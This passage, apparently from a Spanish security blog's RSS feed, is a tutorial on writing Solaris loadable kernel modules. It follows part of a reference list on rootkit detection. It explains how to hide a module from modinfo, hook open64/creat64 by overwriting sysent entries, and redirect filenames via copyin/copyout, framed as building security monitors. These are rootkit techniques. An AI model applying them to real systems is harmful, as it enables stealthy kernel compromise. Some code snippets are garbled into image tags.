<li>Foundstone, Inc. 10 de junio de 2001. &#8220;Carbonite v1.0 &#8211; A Linux Kernel Module to aid in RootKit detection.&#8221; Foundstone, Inc. <a href="http://www.foundstone.com/rdlabs/proddesc/carbonite.html">http://www.foundstone.com/rdlabs/proddesc/carbonite.html</a></li>
<li>FuSyS. 19 de agosto de 2000. &#8220;KSTAT &#8211; Kernel Security Therapy Anti-Troll&#8221;. s0ftpr0ject2000. <a href="http://www.s0ftpj.org/tools/kstat.tgz">http://www.s0ftpj.org/tools/kstat.tgz</a></li>
<li>Halflife. 1 de septiembre de 1997. “Bypassing Integrity Checking Systems”. Phrack Magazine Volume 7, Issue 51, article 09 of 17. <a href="http://www.phrack.org/phrack/51/P51-09">http://www.phrack.org/phrack/51/P51-09</a></li>
<li>Jensen, Runar. 9 de octubre de 1997&#8243;Malicious Linux modules&#8221;. Bugtraq. <a href="http://www.dataguard.no/bugtraq/1997_4/0059.html">http://www.dataguard.no/bugtraq/1997_4/0059.html</a></li>
<li>Jones, Andrew R. 12 de junio de 2001. “A Review of Loadable Kernel Modules”. SANS <a href="http://rr.sans.org/linux/kernel_mods.php">http://rr.sans.org/linux/kernel_mods.php</a></li>
<li>Lawless, Timothy. 2 de noviembre de 2000. &#8220;Saint Jude, The Model&#8221;. Version 1.0. SourceForge. <a href="http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf">http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf</a></li>
<li>Lawless, Timothy. 21 de enero de 2002. StMichael_LKM-0.08.tar.gz. SourceForge. <a href="http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz">http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz</a></li>
<li>McDougall, Richard &amp; Mauro, Jim. 26 de junio de 2001. Solaris Internals Kernel Architecture &amp; Implementation. Sun Microsystems, Inc.</li>
<li>pIGpEN. 18 de abril del 2000. &#8220;LKM Detector&#8221;. s0ftpr0ject2000. <a href="http://www.s0ftpj.org/tools/sec_lkm.c">http://www.s0ftpj.org/tools/sec_lkm.c</a></li>
<li>Plasmoid/THC. 22 de diciembre de 1999. &#8220;Solaris Loadable Kernel Modules&#8221;. Version 1.0. Packet storm. [http://packetstorm.securify.com/groups/thc/slkm-1.0.html</li>
<li>RedHat, Inc. 11 de junio de 2001. &#8220;Red Hat Linux General Security Advisory&#8221;. <a href="http://www.redhat.com/support/errata/RHSA-2000-108.html">http://www.redhat.com/support/errata/RHSA-2000-108.html</a></li>
<li>Reynolds, Patrick. 22 de junio de 2000. &#8220;Linux capability bounding set weakness&#8221;. Bugtraq. <a href="http://pweb.netcom.com/%7Espoon/lcap/bugtraq.txt">http://pweb.netcom.com/~spoon/lcap/bugtraq.txt</a></li>
<li>Spoon. &#8220;LCAP&#8221;. 17 de septiembre de 2000. <a href="http://pweb.netcom.com/%7Espoon/lcap/">http://pweb.netcom.com/~spoon/lcap/</a></li>
</ul>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/55/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/55/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/55/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/55/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/55/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/55/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/55/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/55/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/55/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/55/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/55/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/55/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=55&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2006/11/23/52-modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>
	</item>
		<item>
		<title>Programación de LKMs en Solaris</title>
		<link>http://blog.txipinet.com/2006/11/17/51-programacion-de-lkms-en-solaris/</link>
		<comments>http://blog.txipinet.com/2006/11/17/51-programacion-de-lkms-en-solaris/#comments</comments>
		<pubDate>Fri, 17 Nov 2006 13:07:01 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Seguridad Informática]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[LKM]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/11/17/programacion-de-lkms-en-solaris/</guid>
		<description><![CDATA[Como últimamente estoy muy liado (tengo que preparar e impartir clases en la facultad y en el master de seguridad), voy a permitirme rescatar código que tenía por aqui olvidado para no dejar el blog abandonado. Lo que voy a contar no es nada nuevo, pero no hay tampoco mucha documentacion en castellano y quiza [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=54&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Como últimamente estoy muy liado (tengo que preparar e impartir clases en la facultad y en el master de seguridad), voy a permitirme rescatar código que tenía por aqui olvidado para no dejar el blog abandonado. Lo que voy a contar no es nada nuevo, pero no hay tampoco mucha documentacion en castellano y quiza a alguien le venga bien. En este texto aprenderemos a programar modulos del nucleo para Solaris y en el siguiente articulo veremos un ejemplo practico. El codigo esta sin tocar desde hace anos, asi que puede que haya algun bug, no estaria de mas que lo comentarais si asi lo veis <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span id="more-54"></span></p>
<p class="post-content">&nbsp;</p>
<h3>LKMs (Loadable Kernel Modules)</h3>
<h4>¿Qué es un LKM?</h4>
<p>Un LKM o Loadable Kernel Module es una funcionalidad modular dentro del kernel del Sistema Operativo que puede ser cargada o descargada bajo demanda y permite una mejor utilización de la memoria destinada al kernel dentro de la memoria del sistema.</p>
<p>Como ya sabemos, el kernel de UNIX comenzó siendo un gran ejecutable indivisible, un kernel monolítico. En él estaban incluidas todas las funcionalidades del sistema. Para entornos con altos requerimientos en cuanto a velocidad de sus peticiones al sistema y poca variación de sus características (por ejemplo, sistemas embebidos) esta solución era la mejor, pero los sistemas de propósito general pronto notaron sus carencias. La memoria es un recurso muy preciado y muchas partes del kernel tenían que estar en memoria a pesar de su escaso uso (drivers para dispositivos poco usados, etc.). Resultaba obvio que era necesario modularizar el kernel para hacer un uso más eficiente de la memoria y permitir mayor flexibilidad.</p>
<p>El kernel se dividió en multitud de “piezas” y sólo las piezas que utilizamos en un momento concreto serán las que estén cargadas en memoria. Para ello necesitaremos un gestor de carga y descarga de módulos del kernel, como ya veremos más adelante</p>
<h4>¿Para qué se utilizan?</h4>
<p>Los LKMs se utilizan principalmente en dos campos:</p>
<ul>
<li>Drivers de dispositivos</li>
<li>Seguridad (IDS, troyanos, etc.)</li>
</ul>
<p>Tal y como hemos comentado con anterioridad, un sistema con muchos dispositivos diferentes necesita gestionar un gran número de drivers para acceder a ellos, el gasto de memoria sería muy elevado si todos ellos estuvieran dentro de un kernel monolítico. En lugar de esto, mediante LKMs se cargan solamente los que se están utilizando en un preciso momento, y son descargados cuando dejan de utilizarse. Construir un módulo para el manejo de un dispositivo es una tarea relativamente compleja, pero Solaris pretende ayudar a sus usuarios desarrolladores mediante la interfaz DDI/DKI (Device Driver Interface/Driver Kernel Interface).</p>
<p>Su implicación en el campo de la seguridad también es bastante clara: los LKMs son una puerta a la memoria del kernel, por lo que un uso malicioso de ellos podría provocar comportamientos no deseados del sistema. Sin el cuidado adecuado se podría introducir código arbitrario en el kernel, con las consecuencias que ello conllevaría. La diferencia entre la ejecución de código arbitrario como usuario y la introducción de éste en el kernel es abismal: el kernel del sistema actúa como guardián del mismo y decide qué cosas pueden hacerse o no. Si ejecutamos código arbitrario como usuario, aunque sea como superusuario (root), siempre estaremos supeditados a las restricciones propias del kernel, sin embargo, si modificamos el kernel podremos superar esas restricciones, y el único límite entonces estará en los aspectos físicos del sistema. Si permitimos que un atacante modifique el kernel, estaremos dando la posibilidad de fijar las reglas de juego, ocultarse a todos los efectos a todos los usuarios (“root” incluido, como ya hemos dicho) y elaborar un mecanismo para que no sea posible su expulsión del sistema.</p>
<h4>¿Cómo se utilizan?</h4>
<p>Para utilizar un LKM es necesario cargarlo dentro de la memoria del kernel. Esto no se realiza de forma convencional, existen comandos especiales para la carga y descarga de los módulos del kernel. La mayoría de las funcionalidades del kernel de Solaris también utilizan este método (TCP/IP, SCSI, UFS&#8230;), así como herramientas o dispositivos externos (ipf, pppd, drivers de tarjetas de red&#8230;), por lo que no debe extrañarnos que exista un procedimiento bien definido para ello.</p>
<p>El proceso de carga y descarga de los módulos lo gestionan dos comandos muy sencillos de utilizar, “/usr/sbin/modload” y “/usr/sbin/modunload”, respectivamente. Antes de cargar un módulo conviene informarnos acerca del resto de módulos cargados, sus características, tamaño y demás, por lo que haremos uso del comando “/usr/sbin/modinfo”. Todos estos comandos tienen sus páginas de manual (“man modinfo”, por ejemplo), por lo que no nos extenderemos en detallar su empleo.</p>
<p>Veamos un ejemplo del proceso:</p>
<pre>bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs)
12 fe911e4e    164   -   1  fssnap_if (File System Snapshot Interface) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC) 

bash-2.03# modload quark 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC)
135 e106fe56    1bf   -   1  quark (Quark LKM)</pre>
<p>Tal y como hemos visto, cada módulo dispone de un identificativo único (Id), con el que nos referiremos a él en el proceso de descarga, por lo que es importante recordarlo. modinfo, además, nos informa de la dirección de memoria a partir de la cual se ha cargado el módulo, su tamaño en bytes (la suma de sus secciones .text, .data y .bss), el número de información del driver (Info), el número de revisión del módulo y su nombre o descripción. El número de información del driver está en función del tipo de módulo que sea: si se trata de un driver de dispositivo “Info” contendrá un número informativo, pero si el módulo no es un driver, no incluirá este número. Este último tipo de módulos se conocen como misceláneos (“misc”) y es necesario declararlos como tales.</p>
<h4>Funcionamiento de un LKM</h4>
<p>Una vez cargado, un LKM reside en el área de memoria reservada para el kernel, y es capaz de acceder a las estructuras de datos creadas para la gestión de las llamadas al sistema. En función del uso que quiera darse a un módulo en concreto, éste deberá fijarse en unas u otras estructuras de datos e interrupciones, para poder dispensar el servicio deseado. Así pues, un módulo que haga funciones de driver de dispositivo, deberá estar atento a las peticiones de uso del mismo, a los flujos de datos entre las aplicaciones y el kernel, que es el único que maneja realmente el dispositivo, etc.</p>
<p>Un LKM orientado a la seguridad del sistema funcionará de forma similar, pero sus objetivos serán diferentes. Habrá que fijarse muy de cerca en la tabla de syscalls (como explicaremos posteriormente), los intentos de carga de otros módulos, las peticiones extrañas al sistema por parte de los usuarios, y todas los aspectos importantes en cuanto a registro del comportamiento normal del sistema.</p>
<h3>Programación de un LKM</h3>
<p>Estructura básica de un módulo de kernel</p>
<p>Los módulos de kernel necesitan disponer de unas estructuras básicas para poder ser cargados dentro del kernel. En Solaris esto es especialmente cierto y deberemos definir muchas variables y estructuras para poder programar un LKM sencillo. Otros Sistemas Operativos como Linux o FreeBSD no precisan una estructura básica tan compleja y pueden crearse módulos para ellos de forma muy sencilla.</p>
<p>Lo primero que deberemos incluir serán las cabeceras para utilizar el interfaz DDI de Solaris. Esto es necesario siempre, aunque no vayamos a desarrollar un driver de dispositivo. Otra cosa que deberemos incluir siempre en nuestros módulos será el conjunto de estructuras necesarias para que los comandos de carga, descarga e información sobre el módulo funcionen correctamente (struct como mod_ops, mod_miscops, modlmisc ó modlinkage).</p>
<p>Veamos un código de ejemplo de la estructuras básicas que han de existir en un LKM para Solaris:</p>
<pre>#include &lt;sys/ddi.h&gt;
#include &lt;sys/sunddi.h&gt;
#include &lt;sys/modctl.h&gt;

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
    &amp;mod_miscops,
    "Nombre del LKM",
}; 

static struct modlinkage modlinkage = {
    MODREV_1,
    (void *)&amp;modlmisc,
    NULL
};</pre>
<p>Como podemos observar, hemos incluido las cabeceras necesarias y hemos definido las estructuras modlmisc y modlinkage para un módulo “misceláneo”, es decir, para un módulo que no va a servir como driver de dispositivo. Esto implica que no dispone de información sobre el número de información del driver (Info). En la estructura modlmisc definimos el nombre que el módulo devolverá al sistema cuando sea solicitado (&#8220;Nombre del LKM&#8221;).</p>
<p>Existe mucha ayuda en la documentación de Solaris acerca de estas estructuras, sus datos y su manejo (“man modldrv”, “man modlinkage”, “man modlstrmod”), pero considero que quedan fuera del ámbito de este texto y con saber la estructura básica de un LKM en Solaris nos basta.</p>
<p>Además de estas estructuras, todo módulo de kernel en Solaris debe incluir como mínimo tres funciones: _init(), _fini() e _info(). Su cometido es bastante obvio a la vista de sus nombres:</p>
<p>_init() inicializa el módulo y lo prepara para su carga. Esta función se llama antes de realizar cualquier otra cosa en un LKM.</p>
<pre>int _init(void)
{
    int i;
    if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&amp;modlinkage" /> != 0)
        cmn_err(CE_NOTE,"No se pudo instalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: instalación correcta");
    return i;
}</pre>
<p>Dentro de _init() se llama a mod_install() que toma modlinkage como argumento e instala en función de esos valores el módulo en el sistema. _init() devuelve el valor de su llamada a mod_install(), es decir, informa si se ha cargado correctamente el módulo o no. Otro punto importante es el uso de la función cmn_err(), que mediante el parámetro CE_NOTE indica que los mensajes se introducirán en el log del sistema como una notificación.</p>
<p>_info() devuelve información acerca de un módulo. Siempre que llamemos a esta función, habrá que llamar a mod_info() que utilizará los datos almacenados en la estructura modinfo. Si modinfo tiene como valor del nombre de módulo un string vacío, mod_info()no devolverá nada ( y /usr/sbin/modinfo no mostrará el módulo en su lista).</p>
<pre>int _info(struct modinfo *modinfop)
{
    return (mod_info(&amp;modlinkage, modinfop));
}</pre>
<p>_fini() prepara el módulo para su descarga. Cuando queremos descargar un módulo, llamamos a esta función. _fini()a su vez llamara a mod_remove() para proceder a la descarga del módulo. Es importante capturar el valor devuelto por esta función para comprobar si se han producido errores en la descarga.</p>
<pre>int _fini(void)
{
    int i;
    if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_remove%28&amp;modlinkage" /> != 0)
        cmn_err(CE_NOTE,"No se pudo desinstalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: desinstalación correcta");
    return i;
}</pre>
<p>En definitiva, utilizando las estructuras comentadas y las funciones _init(), _fini() e _info() podremos crear nuestros LKMs de forma sencilla, incluyendo lo que consideremos necesario tras _init(), y utilizando los mecanismos estándar de descarga.</p>
<h3>Métodos de ocultación del LKM</h3>
<p>Si vamos a emplear nuestros módulos para gestionar dispositivos externos no tiene ningún sentido ocultarlos. Es más, al contrario, es conveniente que estén visibles para que los usuarios sean capaces de saber qué módulos correspondientes a drivers de dispositivos están funcionando. Si nuestro objetivo es aumentar la seguridad del sistema, una práctica conveniente es ocultar el propio módulo de protección para no alertar a posibles intrusos y no centrar sus ataques en desactivar el módulo de seguridad. Es, por tanto, importante saber cómo ocultar nuestros módulos para mantener su propia seguridad y, por ende, la de todo el sistema.</p>
<p>Existen varias formas de ocultar un LKM de cara al usuario. La primera de ellas ya la hemos visto en el apartado anterior: si utilizamos una cadena vacía como descripción o nombre de nuestro módulo, modinfo no lo mostrará en su lista (a pesar de continuar cargado dentro del kernel). Además, modunload no devolverá un error si alguien pretende descargar un módulo que no estaba previamente cargado, por lo que no podrán detectar su presencia intentando descargar módulos que no salgan en la lista. Como primera aproximación esta medida puede valer, pero después de un análisis serio, cualquiera con dos dedos de frente podrá adivinar que nuestro módulo está ahí.</p>
<p>Si realmente queremos una protección seria para nuestro módulo que evite que sea listado y descargado de la memoria del kernel, deberemos parchear o suplantar el módulo ksyms que lista y maneja todos los símbolos del kernel en Solaris. Existe documentación al respecto y pruebas de concepto en Sistemas Operativos como Linux y FreeBSD acerca de esto (ver 7. Referencias).</p>
<p>La más reseñable de estas pruebas de concepto puede que sea el módulo itf.c, programado por Plaguez y publicado en la Phrack número 52. Una vez instalado dentro del kernel modificará la estructura mp que lo identifica como módulo y la tabla get_kernel_symbols, evitando de esta manera aparecer tanto en /proc/modules como en la salida de ksyms. Como efecto colateral, el módulo será imposible de descargar. Esto puede verse tanto como una funcionalidad como un defecto.</p>
<h3>Captura y Suplantación de las llamadas al sistema</h3>
<p>Lo más importante dentro de un módulo de monitorización del sistema es supervisar los eventos que en él se producen para comprobar si todo está dentro de la normalidad. Es necesario por tanto capturar las llamadas al sistema por parte de los diferentes usuarios y permitir realizar comprobaciones de esas llamadas suplantando los servicios originales del kernel.</p>
<p>Ya hemos tratado anteriormente el funcionamiento del kernel en Solaris en cuanto a las syscalls o peticiones al sistema. Todas esas llamadas se almacenan en un array denominado sysent en donde cada una de sus posiciones es una estructura que contiene información acerca de una syscall. Esto funciona de manera similar a otros Sistemas UNIX como Linux o la familia *BSD, si bien cada una de las estructuras para almacenar información acerca de una syscall es diferente en cada sistema.</p>
<p>Es necesario tener esto en cuenta a la hora de portar un LKM de Linux a Solaris, por ejemplo. Además, Solaris trabaja con arquitecturas de 32 y 64 bits mezcladas dentro del sistema, por lo que muchas de las syscalls más comunes (como open o create) tienen sus variedades de 32 y 64 bits. Para conocer cuál de ellas utiliza un determinado programa o comando podemos hacer uso del comando /usr/bin/truss. Así pues, por ejemplo, ps utiliza open() para abrir los ficheros que componen los procesos dentro de /proc, mientras que cat utiliza open64() para mostrar los contenidos de un fichero.</p>
<p>Existen diferentes maneras de suplantar las llamadas o peticiones al sistema de forma limpia y eficaz, pero lo primero que deberemos saber es cómo poder utilizar syscalls que no hayan sido definidas dentro de nuestros módulos. Plaguez da una solución en su artículo del e-zine Phrack: utilizar una macro para poder hacer uso de la programación mediante peticiones al sistema tradicional de la zona de usuario (en la siguiente sección discutiremos la diferencia entre zona de usuario y zona kernel):</p>
<pre>/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);</pre>
<p>Mediante este sistema podremos utilizar cualquier syscall de las que se piden normalmente desde la zona de usuario (fork, brk, open, read, write&#8230;), es decir, podremos construir la macro exacta para una función concreta de la zona de usuario (nótese que no toda función de la zona de usuario es una petición al sistema, pero sí un compendio de ellas).</p>
<p>Aunque esto pueda parecer un truco, realmente es lo que se utiliza en muchos sistemas para usar syscalls dentro del kernel. Sirva como muestra el siguiente código extraído del código fuente de Linux (/asm/unistd.h):</p>
<pre>#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
<b>asm</b> volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" <img src="http://blog.txipinet.com/index.php/2006/11/17/long%29%28arg1" />); \
if (__res &gt;= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}</pre>
<p>NOTA: Las “\”s indican que todo debería estar en una única línea, no son parte del código.</p>
<p>A pesar de lo complejo que pueda parecer este código, tiene una sencilla explicación: simplemente llama a la interrupción 80h (la utilizada en Linux para hacer una petición al sistema) con los argumentos pasados como parámetros: type se utiliza para hacer un cast del valor devuelto, name para llamar a la syscall que corresponda (__NR_name, definidas todas en /asm/unistd.h) y arg1 es el parámetro pasado a la syscall.</p>
<p>Si bien éste es el método utilizado por los programadores del kernel de Linux, existe otra manera un poco más clara de realizar esto y será la que empleemos en nuestros módulos de aquí en adelante. El proceso consiste en definir un prototipo de función que se ajuste a la llamada a la syscall, y luego tomar de la tabla sys_ent el valor para la función definida en el prototipo, por ejemplo:</p>
<pre>int (*open)(char *, int, int);    /* declarar el prototipo */
open = sys_call_table[__NR_open]; /* tomar su valor de sysent */</pre>
<p>Pragmatic de THC y SVAT usan este método y ha sido probado muchas veces con éxito. En líneas generales, cuando queramos suplantar una llamada o petición al sistema deberemos seguir los siguientes pasos:</p>
<ol>
<li>Encontrar y estudiar la llamada o petición al sistema que queramos suplantar (conviene fijarse bien en los ficheros de cabecera .h).</li>
<li>Definir un prototipo de función similar a la syscall que queramos utilizar.</li>
<li>Encontrar la syscall original en la tabla de syscalls (sysent[]) y definir con su valor el prototipo previamente creado.</li>
<li>Crear una nueva función que suplante a la syscall original (normalmente hará uso de la syscall suplantada, por lo que los pasos anteriores son muy útiles para no “machacar” la syscall original).</li>
<li>Definir la posición que corresponda dentro de la tabla de syscalls como un puntero a la nueva función que suplantará a la original.</li>
</ol>
<p>De esta manera, cada vez que el sistema pida la ejecución de esa syscall, se ejecutará la función que nosotros hemos introducido y no la syscall original. Esto suele emplearse para realizar determinados controles sobre la petición y posteriormente llamar a la función que originariamente realizaba la solicitud de esa syscall para que haga su trabajo normalmente. De forma gráfica el proceso sería tal y como lo muestra la siguiente figura:</p>
<p><a href="http://txipi.files.wordpress.com/2007/12/solaris01.gif" title="solaris01.gif"><img src="http://txipi.files.wordpress.com/2007/12/solaris01.gif?w=500" alt="solaris01.gif" /></a></p>
<h4>Proceso de suplantación de una llamada al sistema.</h4>
<p>Analicemos ahora mediante un ejemplo en código cómo se programarían todos estos pasos. De todo lo que hemos comentado hasta ahora se deduce que el lugar idóneo para realizar la suplantación de las peticiones al sistema es en la función _init(), nada más cargarse nuestro módulo, para intentar perder el menor tiempo posible y controlar la situación desde el principio.</p>
<pre>int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldcreat64) (const char *path, mode_t mode); 

[...] 

int newopen64(const char *path, int oflag, mode_t mode)
{
 [...]
}

int newcreat64(const char *path, mode_t mode)
{
 [...]
}

int _init(void)
{
	int i; 

	if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&amp;modlinkage" /> != 0)
		cmn_err(CE_NOTE,"Could not install module\n"); 

	oldopen64 = (void *) sysent[SYS_open64].sy_callc;
	oldcreat64 = (void *) sysent[SYS_creat64].sy_callc; 

	sysent[SYS_open64].sy_callc = (void *) newopen64;
	sysent[SYS_creat64].sy_callc = (void *) newcreat64; 

	return i;
}</pre>
<p>En este ejemplo el módulo suplanta las syscalls open64() y creat64() de la forma explicada: primeramente guardamos en las funciones oldopen64 y oldcreat64 las funciones que dan servicio a estas syscalls originariamente, para suplantarlas con nuestras nuevas funciones (newopen64 y newcreat64) posteriormente en la tabla de syscalls (sysent).</p>
<h4>Áreas de memoria, cómo disponer de memoria en el kernel</h4>
<p>Como ya hemos comentado previamente, el espacio de memoria reservado para el kernel está separado del espacio de memoria reservado para los programas de usuario (incluidos los que se ejecutan como superusuario o root). Es por esto que debemos hilar muy fino y no errar al tratar de utilizar contenidos del espacio de memoria de usuario en el kernel y viceversa. Las funciones para reservar memoria también son diferentes dentro del área de memoria del kernel. En lugar de hacer uso de las típicas alloc() o malloc(), dentro del kernel de Solaris deberemos utilizar kmem_alloc():</p>
<pre>cadena = (char *) kmem_alloc(tam, KM_SLEEP);</pre>
<p>El funcionamiento es muy similar a su función homónima dentro del área de memoria de usuario, con la salvedad del segundo parámetro. Si utilizamos kmem_alloc() con KM_SLEEP como segundo parámetro, estaremos indicando que podemos esperar hasta que realmente haya un bloque de memoria tan grande como el que hayamos pedido. Este es el método más seguro y asegura un éxito en la reserva de memoria a costa de un eventual retardo. Si no queremos esperar, nos arriesgamos a que no se encuentre un bloque tan grande como el que hemos solicitado y algo pueda fallar, sin embargo el retardo es mínimo. En este caso deberemos llamar a kmem_alloc() con el parámetro KM_NOSLEEP. Para el desarrollo de nuestros módulos es aconsejable utilizar KM_SLEEP y asegurar la estabilidad del sistema. En cuanto a la naturaleza del bloque de memoria proporcionado por kmem_alloc() podremos decir que el bloque está alineado como mínimo como double-word y su contenido es aleatorio o no inicializado.</p>
<p>Toda la memoria solicitada deberá ser liberada tras su uso. Como podemos imaginar, las consecuencias de un olvido involuntario serán mucho más graves dentro del kernel. Para liberar memoria utilizaremos la función kmem_free(), indicando el tamaño de bloque que queremos liberar. Hemos de tener mucho cuidado de no liberar más memoria que la que hemos solicitado o de lo contrario estaremos borrando partes esenciales del kernel que pueden afectar a la estabilidad de todo el sistema.</p>
<p>Bien, sabemos cómo reservar memoria dentro del kernel y cómo hacerlo en el espacio de memoria de usuario, pero&#8230; ¿cómo podemos hacer transferencias de un espacio de memoria al otro? Algunos módulos del kernel, pobremente programados, utilizan directamente memcpy() para copiar memoria del espacio de memoria de usuario al kernel. Esto funcionaba de manera más o menos aceptable en arquitecturas Solaris 2.7 sobre Intel, pero en Solaris para SPARC provocaba la caída total del sistema. Para realizar una transferencia de información entre los dos espacios de memoria de manera correcta es necesario utilizar las funciones copyin() y copyout(), documentadas dentro de la Interfaz de Drivers de Dispositivos (DDI/DKI).</p>
<p>Un ejemplo práctico del uso de todo esto podría ser el siguiente:</p>
<pre>name = (char *) kmem_alloc(256, KM_SLEEP);
copyin(filename, name, 256);
if (!strcmp(name, (char *) oldcmd))
  copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);</pre>
<p>Queremos comparar el nombre del fichero solicitado (filename) desde el área de memoria de usuario con una cadena de caracteres residente en el área de memoria del kernel (oldcmd) y en caso de que sean iguales, copiar el contenido de newcmd (dentro del kernel) al área de memoria de usuario (filename).</p>
<p>Existen además otras funciones para transferir datos entre las dos áreas de memoria como por ejemplo copyinstr() que nos sirve para copiar cadenas de caracteres acabadas en null. Para más información acerca de este tipo de funciones y su manejo, es preciso consultar la documentación de Solaris para la creación de drivers para dispositivos o en las páginas de manual de alloc(), copyin() y copyout().</p>
<h3>Compilación y uso de un LKM</h3>
<p>La compilación de un LKM en Solaris es bastante sencilla, únicamente deberemos definir una serie de opciones de compilación (-D_KERNEL -DSVR4 -DSOL2) indicando que se trata de un módulo de kernel y no de un ejecutable estándar. Además, es preciso enlazar o linkar nuestros módulos con la opción –r para que puedan ser cargados dentro del kernel, de lo contrario en linker del kernel no podrá enlazarlos:</p>
<pre>bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o</pre>
<p>Dado que el kernel de Solaris no provee a los programadores de módulos tantas facilidades como pueda ofrecer el kernel de Linux u otros kernels (el número de funciones que disponemos “dentro del kernel” en Solaris es muy limitado comparado con Linux), es posible que sea necesario utilizar funciones C standard (libC) que no están en el kernel de Solaris. Para ello utilizaremos el comando ar con objeto de extraer las funciones que necesitemos de la librería libC y posteriormente las linkaremos con nuestro módulo:</p>
<pre>bash-2.03# ar –x /lib/libc.a memcpy.o strstr.o
bash-2.03# ld –o quark -r quark.o memcpy.o strstr.o</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/54/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/54/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/54/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=54&subd=txipi&ref=&feed=1" />]]></content:encoded>
